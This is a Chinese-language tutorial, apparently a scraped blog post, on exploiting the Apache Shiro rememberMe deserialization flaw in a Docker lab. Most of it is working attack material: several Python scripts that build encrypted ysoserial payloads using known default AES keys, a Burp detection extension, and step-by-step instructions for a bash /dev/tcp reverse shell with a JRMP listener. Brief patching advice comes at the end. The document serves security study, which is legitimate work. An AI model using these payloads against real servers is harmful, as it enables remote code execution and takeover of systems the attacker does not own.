Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、受权、密码和会话管理。html
只要 rememberMe 的 AES 加密密钥泄露,不管 shiro 是什么版本都会致使反序列化漏洞python
# 获取 shrio 镜像 sudo docker pull medicean/vulapps:s_shiro_1 # 重启 docker sudo systemctl restart docker # 启动 shiro 环境 sudo docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1 # 查看环境 sudo docker ps # 进入环境目录(目录名为启动 shrio 环境时返回的名字(或用查看环境的命令查看)) sudo docker exec -it 268f542b6482 bash
如提示: No module named 'Crypto'
git
则需安装第三方库: pycryptodome
github
pip3 install pycryptodome
ShiroExploit
Shiro_rce.py
ysoserial.jardocker
shiro_rce
使用方法(会大量发包):shell
python3 shiro_rce.py http://192.168.1.233:8081/login.jsp "ping -c 127.0.0.1"
s.py
内容为:express
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
s.py
使用方法:swift
python2 s.py 192.168.1.203:1099
shiron.py
内容为:安全
import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" #key = "Z3VucwAAAAAAAAAAAAAAAA==" #key = "wGiHplamyXlVB11UXWol8g==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) with open("payload.cookie", "w") as fpw: print("rememberMe={0}".format(payload.decode()),file=fpw)
shiro.py
使用方法(回显):
python3 shiro.py "http://test.test"
shiro_command.py
内容为:
import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) with open("payload.cookies", "w") as fpw: print("rememberMe={}".format(payload.decode()), file=fpw)
shiro_command.py
使用方法(命令执行,payload 在 payload.cookies 文件内):
python3 shiro_command.py "ping -c 127.0.0.1"
Jythpn(用于将 Python 代码转换成 JAVA 代码)
Shiro Discovery 内容为:
# /usr/bin/env python # _*_ coding:utf-8 _*_ __author__ = 'tkswifty' from burp import IBurpExtender from burp import IHttpListener from burp import IHttpRequestResponse from burp import IResponseInfo from burp import IRequestInfo from burp import IHttpService import sys import time import os import re import random class BurpExtender(IBurpExtender, IHttpListener): def __init__(self): self.payload = ['rememberMe','rmemberMe-tk'] def registerExtenderCallbacks(self, callbacks): print("[+] #####################################") print("[+] Shiro Discovery") print("[+] Author: tkswifty") print("[+] #####################################\r\n\r\n") self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName('Shiro Discovery') callbacks.registerHttpListener(self) def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if toolFlag == self._callbacks.TOOL_PROXY or toolFlag == self._callbacks.TOOL_REPEATER: # 监听Response if not messageIsRequest: '''请求数据''' # 获取请求包的数据 resquest = messageInfo.getRequest() analyzedRequest = self._helpers.analyzeRequest(resquest) request_header = analyzedRequest.getHeaders() request_bodys = resquest[analyzedRequest.getBodyOffset():].tostring() request_host, request_Path = self.get_request_host(request_header) request_contentType = analyzedRequest.getContentType() if len(filter(lambda x: 'Cookie' in x, request_header))>0: pass else: request_header.append("Cookie:") # 获取服务端的信息,主机地址,端口,协议 httpService = messageInfo.getHttpService() port = httpService.getPort() host = httpService.getHost() protocol = httpService.getProtocol() #修改cookie检测shiro self.sendPayload(request_header, host, port, protocol, request_bodys,messageInfo) # 发起请求并进行Shiro检测 def sendPayload(self, request_header, host, port, protocol, request_bodys,messageInfo): for shiroHeader in self.payload: for i in xrange(0,len(request_header)): if request_header[i].startswith("Cookie:"): request_header[i] = request_header[i]+";"+shiroHeader+"=shiroDiscover" newRequest = self._helpers.buildHttpMessage(request_header,self._helpers.stringToBytes(request_bodys)) if 's' in protocol: ishttps = True else: ishttps = False expression = r'.*(443).*' if re.match(expression, str(port)): ishttps = True rep = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest) #新的请求响应包 analyzedResponse = self._helpers.analyzeResponse(rep) rep_headers = analyzedResponse.getHeaders() expression = r'.*(deleteMe).*' for rpheader in rep_headers: if rpheader.startswith("Set-Cookie:") and re.match(expression, rpheader): response_is_shiro = True messageInfo.setHighlight('orange') print "[+] Find Shiro application" print "\t[-] host:" + str(host) print "\t[-] port:" + str(port) # 获取请求的url def get_request_host(self, reqHeaders): uri = reqHeaders[0].split(' ')[1] host = reqHeaders[1].split(' ')[1] return host, uri # 获取请求的一些信息:请求头,请求内容,请求方法,请求参数 def get_request_info(self, request): analyzedIRequestInfo = self._helpers.analyzeRequest(request) reqHeaders = analyzedIRequestInfo.getHeaders() reqBodys = request[analyzedIRequestInfo.getBodyOffset():].tostring() reqMethod = analyzedIRequestInfo.getMethod() reqParameters = analyzedIRequestInfo.getParameters() reqHost, reqPath = self.get_request_host(reqHeaders) reqContentType = analyzedIRequestInfo.getContentType() print(reqHost, reqPath) return analyzedIRequestInfo, reqHeaders, reqBodys, reqMethod, reqParameters, reqHost, reqContentType # 获取响应的一些信息:响应头,响应内容,响应状态码 def get_response_info(self, response): analyzedIResponseInfo = self._helpers.analyzeRequest(response) resHeaders = analyzedIResponseInfo.getHeaders() resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring() # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。 # resStatusCode = analyzedIResponseInfo.getStatusCode() return resHeaders, resBodys # 获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用) def get_parameter_Name_Value_Type(self, parameter): parameterName = parameter.getName() parameterValue = parameter.getValue() parameterType = parameter.getType() return parameterName, parameterValue, parameterType def doActiveScan(self, baseRequestResponse, insertionPoint): pass def doPassiveScan(self, baseRequestResponse): self.issues = [] self.start_run(baseRequestResponse) return self.issues def consolidateDuplicateIssues(self, existingIssue, newIssue): ''' 相同的数据包,只报告一份报告 :param existingIssue: :param newIssue: :return: ''' if existingIssue.getIssueDetail() == newIssue.getIssueDetail(): return -1 return 0
在已有的cookie
值后面接 ;rememberMe=1
如返回 rememberMe=deleteMe
则说明可能存在 shiro
漏洞
一、攻击端监听 9999 端口
二、构造反弹 shell 命令,并进行 Base64编码 (如不进行 Base64编码 可能会出现问题)
/bin/bash -i >& /dev/tcp/192.168.1.203/9999 0>&1
三、攻击端开启 JRMP(端口为:8888)
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections4 "【Base64 编码后的反弹 shell 命令】"
四、使用 s.py 获取 Payload(此处端口为 JRMP 的端口)
python2 s.py 192.168.1.203:8888
五、将获取到的 Payload 到 Burp 粘贴并发送
六、此时可看到靶机已链接 JRMP
监听的 9999 端口已获取到反弹的 shell
一、升级shiro到1.2.5及以上
二、删除代码里的默认密钥
三、默认配置里注释了默认密钥
四、若是不配置密钥,每次会从新随机一个密钥
https://www.cnblogs.com/panisme/p/12552838.html
http://www.javashuo.com/article/p-arohnkmh-dd.html